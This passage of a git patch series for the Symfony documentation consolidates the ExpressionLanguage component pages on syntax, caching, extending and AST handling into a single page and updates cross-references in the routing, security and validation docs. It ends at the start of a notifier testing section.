+* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
 Passing in Variables
 --------------------
@@ -104,8 +410,13 @@ PHP type (including objects)::
         ]
     )); // displays "Honeycrisp"
 
-For more information, see the :doc:`/components/expression_language/syntax`
-entry, especially :ref:`Working with Objects <component-expression-objects>` and :ref:`Working with Arrays <component-expression-arrays>`.
+When using this component inside a Symfony application, certain objects and
+variables are automatically injected by Symfony so you can use them in your
+expressions (e.g. the request, the current user, etc.):
+
+* :doc:`Variables available in security expressions </security/expressions>`;
+* :doc:`Variables available in service container expressions </service_container/expression_language>`;
+* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
 
 .. caution::
 
@@ -114,25 +425,260 @@ entry, especially :ref:`Working with Objects <component-expression-objects>` and
     characters in untrusted data to prevent malicious users from injecting
     control characters and altering the expression.
 
+.. index::
+    single: Caching; ExpressionLanguage
+
 Caching
 -------
 
-The component provides some different caching strategies, read more about them
-in :doc:`/components/expression_language/caching`.
+The ExpressionLanguage component provides a
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile`
+method to be able to cache the expressions in plain PHP. But internally, the
+component also caches the parsed expressions, so duplicated expressions can be
+compiled/evaluated quicker.
+
+The Workflow
+~~~~~~~~~~~~
+
+Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate`
+and ``compile()`` need to do some things before each can provide the return
+values. For ``evaluate()``, this overhead is even bigger.
+
+Both methods need to tokenize and parse the expression. This is done by the
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
+method. It  returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`.
+Now, the ``compile()`` method just returns the string conversion of this object.
+The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
+expression saved in the ``ParsedExpression``) and evaluate them on the fly.
+
+To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
+it can skip the tokenization and parsing steps with duplicate expressions. The
+caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
+uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
+customize this by creating a custom cache pool or using one of the available
+ones and injecting this using the constructor::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $cache = new RedisAdapter(...);
+    $expressionLanguage = new ExpressionLanguage($cache);
+
+.. seealso::
+
+    See the :doc:`/components/cache` documentation for more information about
+    available cache adapters.
+
+Using Parsed and Serialized Expressions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
+``SerializedParsedExpression``::
+
+    // ...
+
+    // the parse() method returns a ParsedExpression
+    $expression = $expressionLanguage->parse('1 + 4', []);
+
+    var_dump($expressionLanguage->evaluate($expression)); // prints 5
+
+.. code-block:: php
+
+    use Symfony\Component\ExpressionLanguage\SerializedParsedExpression;
+    // ...
+
+    $expression = new SerializedParsedExpression(
+        '1 + 4',
+        serialize($expressionLanguage->parse('1 + 4', [])->getNodes())
+    );
+
+    var_dump($expressionLanguage->evaluate($expression)); // prints 5
+
+.. index::
+    single: AST; ExpressionLanguage
+    single: AST; Abstract Syntax Tree
 
 AST Dumping and Editing
 -----------------------
 
-The AST (*Abstract Syntax Tree*) of expressions can be dumped and manipulated
-as explained in :doc:`/components/expression_language/ast`.
+It's difficult to manipulate or inspect the expressions created with the ExpressionLanguage
+component, because the expressions are plain strings. A better approach is to
+turn those expressions into an AST. In computer science, `AST`_ (*Abstract
+Syntax Tree*) is *"a tree representation of the structure of source code written
+in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
+nodes that contain PHP classes representing the given expression.
+
+Dumping the AST
+~~~~~~~~~~~~~~~
+
+Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes`
+method after parsing any expression to get its AST::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $ast = (new ExpressionLanguage())
+        ->parse('1 + 2', [])
+        ->getNodes()
+    ;
+
+    // dump the AST nodes for inspection
+    var_dump($ast);
+
+    // dump the AST nodes as a string representation
+    $astAsString = $ast->dump();
+
+Manipulating the AST
+~~~~~~~~~~~~~~~~~~~~
+
+The nodes of the AST can also be dumped into a PHP array of nodes to allow
+manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray`
+method to turn the AST into an array::
+
+    // ...
+
+    $astAsArray = (new ExpressionLanguage())
+        ->parse('1 + 2', [])
+        ->getNodes()
+        ->toArray()
+    ;
+
+.. _expression-language-extending:
+
+.. index::
+    single: Extending; ExpressionLanguage
+
+Extending the ExpressionLanguage
+--------------------------------
+
+The ExpressionLanguage can be extended by adding custom functions. For
+instance, in the Symfony Framework, the security has custom functions to check
+the user's role.
+
+.. note::
+
+    If you want to learn how to use functions in an expression, read
+    ":ref:`component-expression-functions`".
+
+Registering Functions
+~~~~~~~~~~~~~~~~~~~~~
+
+Functions are registered on each specific ``ExpressionLanguage`` instance.
+That means the functions can be used in any expression executed by that
+instance.
+
+To register a function, use
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`.
+This method has 3 arguments:
+
+* **name** - The name of the function in an expression;
+* **compiler** - A function executed when compiling an expression using the
+  function;
+* **evaluator** - A function executed when the expression is evaluated.
+
+Example::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $expressionLanguage = new ExpressionLanguage();
+    $expressionLanguage->register('lowercase', function ($str) {
+        return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
+    }, function ($arguments, $str) {
+        if (!is_string($str)) {
+            return $str;
+        }
+
+        return strtolower($str);
+    });
+
+    var_dump($expressionLanguage->evaluate('lowercase("HELLO")'));
+    // this will print: hello
+
+In addition to the custom function arguments, the **evaluator** is passed an
+``arguments`` variable as its first argument, which is equal to the second
+argument of ``evaluate()`` (e.g. the "values" when evaluating an expression).
+
+.. _components-expression-language-provider:
+
+Using Expression Providers
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you use the ``ExpressionLanguage`` class in your library, you often want
+to add custom functions. To do so, you can create a new expression provider by
+creating a class that implements
+:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`.
+
+This interface requires one method:
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`,
+which returns an array of expression functions (instances of
+:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to
+register::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionFunction;
+    use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;
+
+    class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
+    {
+        public function getFunctions()
+        {
+            return [
+                new ExpressionFunction('lowercase', function ($str) {
+                    return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
+                }, function ($arguments, $str) {
+                    if (!is_string($str)) {
+                        return $str;
+                    }
+
+                    return strtolower($str);
+                }),
+            ];
+        }
+    }
+
+.. tip::
+
+    To create an expression function from a PHP function with the
+    :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method::
+
+        ExpressionFunction::fromPhp('strtoupper');
+
+    Namespaced functions are supported, but they require a second argument to
+    define the name of the expression::
+
+        ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper');
+
+You can register providers using
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider`
+or by using the second argument of the constructor::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    // using the constructor
+    $expressionLanguage = new ExpressionLanguage(null, [
+        new StringExpressionLanguageProvider(),
+        // ...
+    ]);
+
+    // using registerProvider()
+    $expressionLanguage->registerProvider(new StringExpressionLanguageProvider());
+
+.. tip::
+
+    It is recommended to create your own ``ExpressionLanguage`` class in your
+    library. Now you can add the extension by overriding the constructor::
+
+        use Psr\Cache\CacheItemPoolInterface;
+        use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage;
 
-Learn More
-----------
+        class ExpressionLanguage extends BaseExpressionLanguage
+        {
+            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
+            {
+                // prepends the default provider to let users override it
+                array_unshift($providers, new StringExpressionLanguageProvider());
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+                parent::__construct($cache, $providers);
+            }
+        }
 
-    /components/expression_language/*
-    /service_container/expression_language
-    /reference/constraints/Expression
+.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree
+.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php
diff --git a/components/expression_language/ast.rst b/components/expression_language/ast.rst
deleted file mode 100644
index 2bd2bf80023..00000000000
--- a/components/expression_language/ast.rst
+++ /dev/null
@@ -1,49 +0,0 @@
-.. index::
-    single: AST; ExpressionLanguage
-    single: AST; Abstract Syntax Tree
-
-Dumping and Manipulating the AST of Expressions
-===============================================
-
-It’s difficult to manipulate or inspect the expressions created with the ExpressionLanguage
-component, because the expressions are plain strings. A better approach is to
-turn those expressions into an AST. In computer science, `AST`_ (*Abstract
-Syntax Tree*) is *"a tree representation of the structure of source code written
-in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
-nodes that contain PHP classes representing the given expression.
-
-Dumping the AST
----------------
-
-Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::getNodes`
-method after parsing any expression to get its AST::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $ast = (new ExpressionLanguage())
-        ->parse('1 + 2', [])
-        ->getNodes()
-    ;
-
-    // dump the AST nodes for inspection
-    var_dump($ast);
-
-    // dump the AST nodes as a string representation
-    $astAsString = $ast->dump();
-
-Manipulating the AST
---------------------
-
-The nodes of the AST can also be dumped into a PHP array of nodes to allow
-manipulating them. Call the :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::toArray`
-method to turn the AST into an array::
-
-    // ...
-
-    $astAsArray = (new ExpressionLanguage())
-        ->parse('1 + 2', [])
-        ->getNodes()
-        ->toArray()
-    ;
-
-.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree
diff --git a/components/expression_language/caching.rst b/components/expression_language/caching.rst
deleted file mode 100644
index 29e1e0116f7..00000000000
--- a/components/expression_language/caching.rst
+++ /dev/null
@@ -1,70 +0,0 @@
-.. index::
-    single: Caching; ExpressionLanguage
-
-Caching Expressions Using Parser Caches
-=======================================
-
-The ExpressionLanguage component already provides a
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::compile`
-method to be able to cache the expressions in plain PHP. But internally, the
-component also caches the parsed expressions, so duplicated expressions can be
-compiled/evaluated quicker.
-
-The Workflow
-------------
-
-Both :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::evaluate`
-and ``compile()`` need to do some things before each can provide the return
-values. For ``evaluate()``, this overhead is even bigger.
-
-Both methods need to tokenize and parse the expression. This is done by the
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
-method. It  returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`.
-Now, the ``compile()`` method just returns the string conversion of this object.
-The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
-expression saved in the ``ParsedExpression``) and evaluate them on the fly.
-
-To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
-it can skip the tokenization and parsing steps with duplicate expressions. The
-caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
-uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
-customize this by creating a custom cache pool or using one of the available
-ones and injecting this using the constructor::
-
-    use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $cache = new RedisAdapter(...);
-    $expressionLanguage = new ExpressionLanguage($cache);
-
-.. seealso::
-
-    See the :doc:`/components/cache` documentation for more information about
-    available cache adapters.
-
-Using Parsed and Serialized Expressions
----------------------------------------
-
-Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
-``SerializedParsedExpression``::
-
-    // ...
-
-    // the parse() method returns a ParsedExpression
-    $expression = $expressionLanguage->parse('1 + 4', []);
-
-    var_dump($expressionLanguage->evaluate($expression)); // prints 5
-
-.. code-block:: php
-
-    use Symfony\Component\ExpressionLanguage\SerializedParsedExpression;
-    // ...
-
-    $expression = new SerializedParsedExpression(
-        '1 + 4',
-        serialize($expressionLanguage->parse('1 + 4', [])->getNodes())
-    );
-
-    var_dump($expressionLanguage->evaluate($expression)); // prints 5
-
-.. _`CacheItemPoolInterface`: https://github.com/php-fig/cache/blob/master/src/CacheItemPoolInterface.php
diff --git a/components/expression_language/extending.rst b/components/expression_language/extending.rst
deleted file mode 100644
index 787d0f61d31..00000000000
--- a/components/expression_language/extending.rst
+++ /dev/null
@@ -1,136 +0,0 @@
-.. index::
-    single: Extending; ExpressionLanguage
-
-Extending the ExpressionLanguage
-================================
-
-The ExpressionLanguage can be extended by adding custom functions. For
-instance, in the Symfony Framework, the security has custom functions to check
-the user's role.
-
-.. note::
-
-    If you want to learn how to use functions in an expression, read
-    ":ref:`component-expression-functions`".
-
-Registering Functions
----------------------
-
-Functions are registered on each specific ``ExpressionLanguage`` instance.
-That means the functions can be used in any expression executed by that
-instance.
-
-To register a function, use
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::register`.
-This method has 3 arguments:
-
-* **name** - The name of the function in an expression;
-* **compiler** - A function executed when compiling an expression using the
-  function;
-* **evaluator** - A function executed when the expression is evaluated.
-
-Example::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    $expressionLanguage = new ExpressionLanguage();
-    $expressionLanguage->register('lowercase', function ($str) {
-        return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-    }, function ($arguments, $str) {
-        if (!is_string($str)) {
-            return $str;
-        }
-
-        return strtolower($str);
-    });
-
-    var_dump($expressionLanguage->evaluate('lowercase("HELLO")'));
-    // this will print: hello
-
-In addition to the custom function arguments, the **evaluator** is passed an
-``arguments`` variable as its first argument, which is equal to the second
-argument of ``evaluate()`` (e.g. the "values" when evaluating an expression).
-
-.. _components-expression-language-provider:
-
-Using Expression Providers
---------------------------
-
-When you use the ``ExpressionLanguage`` class in your library, you often want
-to add custom functions. To do so, you can create a new expression provider by
-creating a class that implements
-:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface`.
-
-This interface requires one method:
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunctionProviderInterface::getFunctions`,
-which returns an array of expression functions (instances of
-:class:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction`) to
-register::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionFunction;
-    use Symfony\Component\ExpressionLanguage\ExpressionFunctionProviderInterface;
-
-    class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
-    {
-        public function getFunctions()
-        {
-            return [
-                new ExpressionFunction('lowercase', function ($str) {
-                    return sprintf('(is_string(%1$s) ? strtolower(%1$s) : %1$s)', $str);
-                }, function ($arguments, $str) {
-                    if (!is_string($str)) {
-                        return $str;
-                    }
-
-                    return strtolower($str);
-                }),
-            ];
-        }
-    }
-
-.. tip::
-
-    To create an expression function from a PHP function with the
-    :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionFunction::fromPhp` static method::
-
-        ExpressionFunction::fromPhp('strtoupper');
-
-    Namespaced functions are supported, but they require a second argument to
-    define the name of the expression::
-
-        ExpressionFunction::fromPhp('My\strtoupper', 'my_strtoupper');
-
-You can register providers using
-:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::registerProvider`
-or by using the second argument of the constructor::
-
-    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
-
-    // using the constructor
-    $expressionLanguage = new ExpressionLanguage(null, [
-        new StringExpressionLanguageProvider(),
-        // ...
-    ]);
-
-    // using registerProvider()
-    $expressionLanguage->registerProvider(new StringExpressionLanguageProvider());
-
-.. tip::
-
-    It is recommended to create your own ``ExpressionLanguage`` class in your
-    library. Now you can add the extension by overriding the constructor::
-
-        use Psr\Cache\CacheItemPoolInterface;
-        use Symfony\Component\ExpressionLanguage\ExpressionLanguage as BaseExpressionLanguage;
-
-        class ExpressionLanguage extends BaseExpressionLanguage
-        {
-            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
-            {
-                // prepends the default provider to let users override it
-                array_unshift($providers, new StringExpressionLanguageProvider());
-
-                parent::__construct($cache, $providers);
-            }
-        }
-
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
deleted file mode 100644
index a4c17f81a27..00000000000
--- a/components/expression_language/syntax.rst
+++ /dev/null
@@ -1,320 +0,0 @@
-.. index::
-    single: Syntax; ExpressionLanguage
-
-The Expression Syntax
-=====================
-
-The ExpressionLanguage component uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
-
-Supported Literals
-------------------
-
-The component supports:
-
-* **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
-* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
-* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
-* **booleans** - ``true`` and ``false``
-* **null** - ``null``
-* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
-
-.. caution::
-
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
-
-        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
-        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
-
-    Control characters (e.g. ``\n``) in expressions are replaced with
-    whitespace. To avoid this, escape the sequence with a single backslash
-    (e.g.  ``\\n``).
-
-.. _component-expression-objects:
-
-Working with Objects
---------------------
-
-When passing objects into an expression, you can use different syntaxes to
-access properties and call methods on the object.
-
-Accessing Public Properties
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Public properties on objects can be accessed by using the ``.`` syntax, similar
-to JavaScript::
-
-    class Apple
-    {
-        public $variety;
-    }
-
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit.variety',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``Honeycrisp``.
-
-Calling Methods
-~~~~~~~~~~~~~~~
-
-The ``.`` syntax can also be used to call methods on an object, similar to
-JavaScript::
-
-    class Robot
-    {
-        public function sayHi($times)
-        {
-            $greetings = [];
-            for ($i = 0; $i < $times; $i++) {
-                $greetings[] = 'Hi';
-            }
-
-            return implode(' ', $greetings).'!';
-        }
-    }
-
-    $robot = new Robot();
-
-    var_dump($expressionLanguage->evaluate(
-        'robot.sayHi(3)',
-        [
-            'robot' => $robot,
-        ]
-    ));
-
-This will print out ``Hi Hi Hi!``.
-
-.. _component-expression-functions:
-
-Working with Functions
-----------------------
-
-You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
-
-    define('DB_USER', 'root');
-
-    var_dump($expressionLanguage->evaluate(
-        'constant("DB_USER")'
-    ));
-
-This will print out ``root``.
-
-.. tip::
-
-    To read how to register your own functions to use in an expression, see
-    ":doc:`/components/expression_language/extending`".
-
-.. _component-expression-arrays:
-
-Working with Arrays
--------------------
-
-If you pass an array into an expression, use the ``[]`` syntax to access
-array keys, similar to JavaScript::
-
-    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
-
-    var_dump($expressionLanguage->evaluate(
-        'data["life"] + data["universe"] + data["everything"]',
-        [
-            'data' => $data,
-        ]
-    ));
-
-This will print out ``42``.
-
-Supported Operators
--------------------
-
-The component comes with a lot of operators:
-
-Arithmetic Operators
-~~~~~~~~~~~~~~~~~~~~
-
-* ``+`` (addition)
-* ``-`` (subtraction)
-* ``*`` (multiplication)
-* ``/`` (division)
-* ``%`` (modulus)
-* ``**`` (pow)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'life + universe + everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    ));
-
-This will print out ``42``.
-
-Bitwise Operators
-~~~~~~~~~~~~~~~~~
-
-* ``&`` (and)
-* ``|`` (or)
-* ``^`` (xor)
-
-Comparison Operators
-~~~~~~~~~~~~~~~~~~~~
-
-* ``==`` (equal)
-* ``===`` (identical)
-* ``!=`` (not equal)
-* ``!==`` (not identical)
-* ``<`` (less than)
-* ``>`` (greater than)
-* ``<=`` (less than or equal to)
-* ``>=`` (greater than or equal to)
-* ``matches`` (regex match)
-
-.. tip::
-
-    To test if a string does *not* match a regex, use the logical ``not``
-    operator in combination with the ``matches`` operator::
-
-        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
-
-    You must use parentheses because the unary operator ``not`` has precedence
-    over the binary operator ``matches``.
-
-Examples::
-
-    $ret1 = $expressionLanguage->evaluate(
-        'life == everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-    $ret2 = $expressionLanguage->evaluate(
-        'life > everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-Both variables would be set to ``false``.
-
-Logical Operators
-~~~~~~~~~~~~~~~~~
-
-* ``not`` or ``!``
-* ``and`` or ``&&``
-* ``or`` or ``||``
-
-For example::
-
-    $ret = $expressionLanguage->evaluate(
-        'life < universe or life < everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    );
-
-This ``$ret`` variable will be set to ``true``.
-
-String Operators
-~~~~~~~~~~~~~~~~
-
-* ``~`` (concatenation)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'firstName~" "~lastName',
-        [
-            'firstName' => 'Arthur',
-            'lastName' => 'Dent',
-        ]
-    ));
-
-This would print out ``Arthur Dent``.
-
-Array Operators
-~~~~~~~~~~~~~~~
-
-* ``in`` (contain)
-* ``not in`` (does not contain)
-
-For example::
-
-    class User
-    {
-        public $group;
-    }
-
-    $user = new User();
-    $user->group = 'human_resources';
-
-    $inGroup = $expressionLanguage->evaluate(
-        'user.group in ["human_resources", "marketing"]',
-        [
-            'user' => $user,
-        ]
-    );
-
-The ``$inGroup`` would evaluate to ``true``.
-
-Numeric Operators
-~~~~~~~~~~~~~~~~~
-
-* ``..`` (range)
-
-For example::
-
-    class User
-    {
-        public $age;
-    }
-
-    $user = new User();
-    $user->age = 34;
-
-    $expressionLanguage->evaluate(
-        'user.age in 18..45',
-        [
-            'user' => $user,
-        ]
-    );
-
-This will evaluate to ``true``, because ``user.age`` is in the range from
-``18`` to ``45``.
-
-Ternary Operators
-~~~~~~~~~~~~~~~~~
-
-* ``foo ? 'yes' : 'no'``
-* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
-* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
-
-Built-in Objects and Variables
-------------------------------
-
-When using this component inside a Symfony application, certain objects and
-variables are automatically injected by Symfony so you can use them in your
-expressions (e.g. the request, the current user, etc.):
-
-* :doc:`Variables available in security expressions </security/expressions>`;
-* :doc:`Variables available in service container expressions </service_container/expression_language>`;
-* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 65a38efb415..3a75b98bb40 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -141,7 +141,7 @@ One way to accomplish this is with the Expression constraint:
 The :ref:`expression <reference-constraint-expression-option>` option is the
 expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:ref:`expression-language-syntax`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -265,7 +265,7 @@ The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail.
 
 To learn more about the expression language syntax, see
-:doc:`/components/expression_language/syntax`.
+:ref:`expression-language-syntax`.
 
 Inside of the expression, you have access to up to 2 variables:
 
diff --git a/routing.rst b/routing.rst
index e65e7dde27f..560d61040cb 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,9 +414,9 @@ arbitrary matching logic:
             ;
         };
 
-The value of the ``condition`` option is any valid
-:doc:`ExpressionLanguage expression </components/expression_language/syntax>`
-and can use any of these variables created by Symfony:
+The value of the ``condition`` option is any valid :ref:`ExpressionLanguage
+expression <expression-language-syntax>` and can use any of these variables
+created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index cad80f6365f..85767ff6a60 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -37,7 +37,7 @@ be granted (note: your User object may not have an ``isSuperAdmin()`` method,
 that method is invented for this example).
 
 This uses an expression and you can learn more about the expression language
-syntax, see :doc:`/components/expression_language/syntax`.
+syntax, see :ref:`expression-language-syntax`.
 
 .. _security-expression-variables:
 
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index f755057e240..b70e27ad0dc 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
+To learn more about the expression language syntax, see :ref:`expression-language-syntax`.
 
 In this context, you have access to 2 functions:
 

From 3062a153b640ce6fbd1966ff7a064830e1609621 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Jan 2023 10:42:38 +0100
Subject: [PATCH 2749/5766] Minor tweaks

---
 reference/constraints/Expression.rst      | 15 +++++----------
 routing.rst                               |  6 +++---
 security/expressions.rst                  |  6 ++----
 service_container/expression_language.rst |  2 +-
 4 files changed, 11 insertions(+), 18 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 3a75b98bb40..9af9b3ff0ea 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -139,9 +139,8 @@ One way to accomplish this is with the Expression constraint:
         }
 
 The :ref:`expression <reference-constraint-expression-option>` option is the
-expression that must return true in order for validation to pass. To learn
-more about the expression language syntax, see
-:ref:`expression-language-syntax`.
+expression that must return true in order for validation to pass. Learn more
+about the :ref:`expression language syntax <expression-language-syntax>`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -262,14 +261,10 @@ Options
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
 The expression that will be evaluated. If the expression evaluates to a false
-value (using ``==``, not ``===``), validation will fail.
+value (using ``==``, not ``===``), validation will fail. Learn more about the
+:ref:`expression language syntax <expression-language-syntax>`.
 
-To learn more about the expression language syntax, see
-:ref:`expression-language-syntax`.
-
-Inside of the expression, you have access to up to 2 variables:
-
-Depending on how you use the constraint, you have access to 1 or 2 variables
+Depending on how you use the constraint, you have access to different variables
 in your expression:
 
 * ``this``: The object being validated (e.g. an instance of BlogPost);
diff --git a/routing.rst b/routing.rst
index 560d61040cb..cd3ec6d2c76 100644
--- a/routing.rst
+++ b/routing.rst
@@ -414,9 +414,9 @@ arbitrary matching logic:
             ;
         };
 
-The value of the ``condition`` option is any valid :ref:`ExpressionLanguage
-expression <expression-language-syntax>` and can use any of these variables
-created by Symfony:
+The value of the ``condition`` option is an expression using any valid
+:ref:`expression language syntax <expression-language-syntax>` and can use any
+of these variables created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index 85767ff6a60..afec9ac30b1 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -36,12 +36,10 @@ user object's ``isSuperAdmin()`` method returns ``true``, then access will
 be granted (note: your User object may not have an ``isSuperAdmin()`` method,
 that method is invented for this example).
 
-This uses an expression and you can learn more about the expression language
-syntax, see :ref:`expression-language-syntax`.
-
 .. _security-expression-variables:
 
-Inside the expression, you have access to a number of variables:
+The security expression must use any valid :ref:`expression language syntax <expression-language-syntax>`
+and can use any of these variables created by Symfony:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index b70e27ad0dc..53b1524b762 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-To learn more about the expression language syntax, see :ref:`expression-language-syntax`.
+Learn more about the :ref:`expression language syntax <expression-language-syntax>`.
 
 In this context, you have access to 2 functions:
 

From 8583932e0080744be1ead4141a0e9fccb6299b15 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 11 Jan 2023 18:23:40 +0100
Subject: [PATCH 2750/5766] [Notifier] add notification assertion in notifier
 doc

---
 notifier.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index bff9af3d7c6..a2980ff5be5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -759,6 +759,19 @@ typical alert levels, which you can implement immediately using:
             ;
         };
 
+Testing Notifier
+----------------
+
